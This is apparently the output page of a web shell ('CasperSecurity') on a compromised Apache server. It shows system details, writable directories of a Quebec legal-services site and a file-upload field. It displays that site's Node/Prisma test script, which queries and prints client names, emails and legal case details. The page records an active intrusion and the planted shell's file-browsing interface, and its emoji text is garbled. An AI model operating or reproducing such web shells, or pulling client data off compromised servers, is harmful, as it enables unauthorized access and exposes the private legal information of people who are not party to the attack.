T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.quebec/public_html/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.quebec/public_html/scripts/test-case-selection.js
const { PrismaClient } = require('@prisma/client');

const prisma = new PrismaClient();

async function testCaseSelection() {
  try {
    console.log('๐Ÿงช Testing case selection functionality...\n');

    // Get all clients
    const clients = await prisma.user.findMany({
      where: {
        role: 'CLIENT'
      },
      select: {
        id: true,
        name: true,
        email: true
      }
    });

    console.log(`๐Ÿ“‹ Found ${clients.length} clients:`);
    clients.forEach(client => {
      console.log(`   ๐Ÿ‘ค ${client.name} (${client.email})`);
    });

    // Test each client's case access
    console.log('\n๐Ÿ” Testing case access for each client:');
    
    for (const client of clients) {
      console.log(`\n๐Ÿ‘ค Testing client: ${client.name} (${client.email})`);
      
      // Simulate the API endpoint logic
      const cases = await prisma.legalCase.findMany({
        where: {
          OR: [
            { registrations: { some: { userId: client.id } } },
            { caseAssignments: { some: { userId: client.id } } }
          ]
        },
        select: {
          id: true,
          title: true,
          caseType: true,
          status: true,
          priority: true,
          budget: true,
          description: true,
          createdAt: true,
          isAcceptingApplications: true,
          caseNumber: true
        },
        orderBy: { createdAt: 'desc' }
      });

      if (cases.length > 0) {
        console.log(`   โœ… Found ${cases.length} cases:`);
        cases.forEach(caseItem => {
          console.log(`      ๐Ÿ“‹ ${caseItem.caseNumber || 'N/A'}: ${caseItem.title}`);
          console.log(`         Type: ${caseItem.caseType} | Status: ${caseItem.status} | Priority: ${caseItem.priority}`);
          console.log(`         Budget: $${caseItem.budget || 'N/A'} | Accepting: ${caseItem.isAcceptingApplications ? 'Yes' : 'No'}`);
        });
      } else {
        console.log(`   โŒ No cases found for this client`);
      }

      // Check registrations
      const registrations = await prisma.registration.findMany({
        where: {
          userId: client.id
        },
        include: {
          legalCase: {
            select: {
              caseNumber: true,
              title: true
            }
          }
        }
      });

      console.log(`   ๐Ÿ“ Registrations: ${registrations.length}`);
      registrations.forEach(reg => {
        console.log(`      - ${reg.legalCase?.caseNumber || 'N/A'}: ${reg.legalCase?.title || 'Unknown Case'}`);
      });

      // Check case assignments
      const assignments = await prisma.caseAssignment.findMany({
        where: {
          userId: client.id
        },
        include: {
          legalCase: {
            select: {
              caseNumber: true,
              title: true
            }
          }
        }
      });

      console.log(`   ๐Ÿ‘ค Case Assignments: ${assignments.length}`);
      assignments.forEach(assignment => {
        console.log(`      - ${assignment.legalCase?.caseNumber || 'N/A'}: ${assignment.legalCase?.title || 'Unknown Case'} (Role: ${assignment.role})`);
      });
    }

    // Summary
    console.log('\n๐Ÿ“Š Summary:');
    const totalCases = await prisma.legalCase.count();
    const totalRegistrations = await prisma.registration.count();
    const totalAssignments = await prisma.caseAssignment.count();
    
    console.log(`   โ€ข Total cases in database: ${totalCases}`);
    console.log(`   โ€ข Total registrations: ${totalRegistrations}`);
    console.log(`   โ€ข Total case assignments: ${totalAssignments}`);
    console.log(`   โ€ข Total clients: ${clients.length}`);

    // Test the actual API endpoint logic
    console.log('\n๐Ÿ”— Testing API endpoint logic:');
    const testClient = clients[0]; // Use first client for testing
    
    if (testClient) {
      const apiCases = await prisma.legalCase.findMany({
        where: {
          OR: [
            { registrations: { some: { userId: testClient.id } } },
            { caseAssignments: { some: { userId: testClient.id } } }
          ]
        },
        select: {
          id: true,
          title: true,
          caseType: true,
          status: true,
          priority: true,
          budget: true,
          description: true,
          createdAt: true,
          isAcceptingApplications: true
        },
        orderBy: { createdAt: 'desc' }
      });

      console.log(`   API response for ${testClient.name}:`);
      console.log(`   Status: โœ… Success`);
      console.log(`   Cases returned: ${apiCases.length}`);
      console.log(`   Response structure: ${JSON.stringify(apiCases, null, 2)}`);
    }

    console.log('\nโœ… Case selection testing completed successfully!');
    console.log('\n๐ŸŽฏ Next steps:');
    console.log('   1. Log in as any client user');
    console.log('   2. Navigate to /hire/case-selection');
    console.log('   3. Verify that cases are displayed properly');
    console.log('   4. Test case selection and hiring functionality');

  } catch (error) {
    console.error('โŒ Error testing case selection:', error);
  } finally {
    await prisma.$disconnect();
  }
}

// Run the test
testCaseSelection(); 

CasperSecurity Mini